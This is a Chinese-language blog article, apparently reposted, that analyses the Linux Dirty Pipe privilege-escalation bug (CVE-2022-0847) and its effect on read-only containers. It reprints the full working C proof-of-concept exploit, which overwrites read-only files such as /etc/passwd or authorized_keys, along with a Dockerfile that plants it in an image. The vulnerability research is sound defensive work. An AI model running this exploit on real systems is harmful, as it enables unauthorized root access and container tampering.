CVE-2022-0847:脏管道漏洞分析及对容器的影响

admin 2023年3月8日23:53:23评论37 views字数 6652阅读22分10秒阅读模式

漏洞简介

2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。

漏洞原理

漏洞简要原理是,调用splice() 函数可以通过"零拷贝"的形式将文件发送到pipe,代码层面的零拷贝是直接将文件缓存页(page cache)作为pipe 的buf页使用。但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续pipe 通道中被当成普通pipe缓存页而被"续写"进而被篡改。然而,在这种情况下,内核并不会将这个缓存页判定为"脏页",短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个"短时间内对任意可读文件任意写"的操作。网上已经有对该漏洞的详细分析,本文不在详细介绍其原理,只做一些简单介绍,具体的关于漏洞的发现细节以及原理可参考文末链接的几篇文章:

  • 管道

    该漏洞别名为脏管道漏洞,管道(pipe)是Linux内核提供的一个进程间通信的方式。通过pipe/pipe2 函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接受数据,类似管道的两段 。管道实现的源代码在fs/pipe.c中,在pipe.c中有很多函数,其中有两个函数比较重要,管道读函数pipe_read()和管道写函数pipe_wrtie() ,这里简要介绍以下pipe_write()。

    Linux-5.13fspipe.c : 400 : pipe_write()

    ......if (chars && !was_empty) { 
    unsigned int mask = pipe->ring_size - 1;
    struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    int offset = buf->offset + buf->len;

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
    offset + chars <= PAGE_SIZE) {
    /*关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写 *如果写入长度不会跨页,则接着写,否则直接另起一页 */
    ret = pipe_buf_confirm(pipe, buf);
    ···
    ret = copy_page_from_iter(buf->page, offset, chars, from);
    ···
    }
    buf->len += ret;
    ···
    }
    }...

    在使用pipe_write()函数向管道中写入时,会判断当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE flag标记,如果不存在则不允许在当前页面续写, buf->flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE ,因为默认状态是允许页可以续写的 。

  • Splice()

    CPU管理的最小内存单位是一个页面(Page), 一个页面通常为4kB大小, linux内存管理的最底层的一切都是关于页面的, 文件IO也是如此, 如果程序从文件中读取数据, 内核将先把它从磁盘读取到专属于内核的页面缓存(Page Cache)中, 后续再把它从内核区域复制到用户程序的内存空间中;

    如果每一次都把文件数据从内核空间拷贝到用户空间, 将会拖慢系统的运行速度, 也会额外消耗很多内存空间, 所以出现了splice()系统调用, 它的任务是从文件中获取数据并写入管道中, 期间一个特殊的实现方式便是: 目标文件的页面缓存数据不会直接复制到Pipe的环形缓冲区内, 而是以索引的方式(即 内存页框地址、偏移量、长度 所表示的一块内存区域)复制到了pipe_buffer的结构体中, 如此就避免了从内核空间向用户空间的数据拷贝过程, 所以被称为”零拷贝”。

漏洞披露中给出了利用的poc:

/* SPDX-License-Identifier: GPL-2.0 *//* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <[email protected]> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'nssh-ed25519 AAA......n' * * Further explanation: https://dirtypipe.cm4all.com/ */#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */}int main(int argc, char **argv){
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATAn", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundaryn");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundaryn");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the filen");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the filen");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splicen");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short writen");
return EXIT_FAILURE;
}

printf("It worked!n");
return EXIT_SUCCESS;}

从POC的角度可以看到漏洞利用的过程:

  1. 创建pipe;

  2. 使用任意数据填充管道(填满, 而且是填满Pipe的最大空间);

  3. 清空管道内数据;

  4. 使用splice()读取目标文件(只读)的1字节数据发送至pipe;

  5. write()将任意数据继续写入pipe, 此数据将会覆盖目标文件内容;

将该exp保存到本地编译,运行,可以成功触发。该漏洞 由linux 5.8 补丁 f6dd975583bd 引入~ 5.16.11、5.15.25、5.10.102 修复 ,处于中间阶段的内核版本可以触发该漏洞。触发必须要求文件有可读权限,且该漏洞写入时不能改变其文件大小。下图可以看到,在没有可写权限的情况下修改了testfile中的内容。只要挑选合适的目标文件, 利用漏洞Patch掉关键字段数据, 即可完成从普通用户到root用户的权限提升。

CVE-2022-0847:脏管道漏洞分析及对容器的影响

脏管道对Linux容器的影响

前段时间的一个帖子记录了对Docker镜像进行逆向的过程, 容器镜像基本上是由一组相互重叠的层组成的。当容器启动时,运行时引擎(Docker、containerD、cri-O 等)将这些层合并在一起,并将生成的联合文件系统传递给进程。这些层始终是只读的,任何在容器中的操作都是都是在读写层中完成的,该层是使用写时复制 (COW)模式专门为每个容器实例创建的。这个读写层是暂时的层,当把容器停止运行时,该层会容器系统中删除。通过以只读模式( --read-only )启动容器可以省略读写层,从而有效地保护容器文件系统的完整性不会被攻击者破坏。

但是由于容器共享linux内核的缘故,容器并不能屏蔽内核漏洞,利用脏管道漏洞,可以几乎对任何文件系统进行修改,包括容器镜像。下面实验演示了如何利用脏管道漏洞对容器镜像的完整性进行破环。利用上述的exp,使用下列Dockerfile构建一个镜像,该镜像创建了一个非特权用户foo,并将exp复制到镜像中。

FROM debian:stable-slimRUN adduser foo
USER foo
COPY exp /exp

Build 成功后的镜像

CVE-2022-0847:脏管道漏洞分析及对容器的影响

当使用只读模式启动容器时,是不能对容器的文件系统进行任何修改的,如下图。

CVE-2022-0847:脏管道漏洞分析及对容器的影响


接下来运行exp 对容器中的/etc/passwd尝试进行修改,默认情况下,该文件是只读的,且只有root用户有权限进行更改。


CVE-2022-0847:脏管道漏洞分析及对容器的影响


然后退出该容器,再根据该镜像重新启动一个容器,可以发现在重新启动的容器中的passwd文件也已经被更改,证明该镜像已经被持续的更改。但该更改并不是永久性的,短时间内的新建容器会出现这种情况。


CVE-2022-0847:脏管道漏洞分析及对容器的影响

在多个同一基础镜像容器同时启动的情况下,由于共享基础镜像,在某一容器中该漏洞的触发会波及到其他容器。下图演示了在其中一个只读容器中更改文件内容后,其他容器的文件系统也跟着发生了变化。

CVE-2022-0847:脏管道漏洞分析及对容器的影响

这就是容器的隔离性远不如虚拟机的地方,容器被称作为一种轻量级的操作系统虚拟化,多个容器与宿主据共享一个内核,这就导致了首先容器无法隔离宿主机出现的内核漏洞,一旦内核出了问题,很容器出现容器逃逸的情况;其次同一宿主机的容器之间的隔离性也不强,容器与容器之间很容器出现隐蔽通道、信息泄露的问题。

参考链接

漏洞披露:

 https://dirtypipe.cm4all.com/

breeze对该漏洞比较详细的分析报告

 https://github.com/chenaotian/CVE-2022-0847

来源先知(https://xz.aliyun.com/t/11463#toc-0)


注:如有绘画请联系删除





CVE-2022-0847:脏管道漏洞分析及对容器的影响

欢迎大家一起加群讨论学习和交流

CVE-2022-0847:脏管道漏洞分析及对容器的影响

快乐要懂得分享,

加倍的快乐。


原文始发于微信公众号(衡阳信安):CVE-2022-0847:脏管道漏洞分析及对容器的影响

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日23:53:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-0847:脏管道漏洞分析及对容器的影响http://cn-sec.com/archives/1235169.html

发表评论

匿名网友 填写信息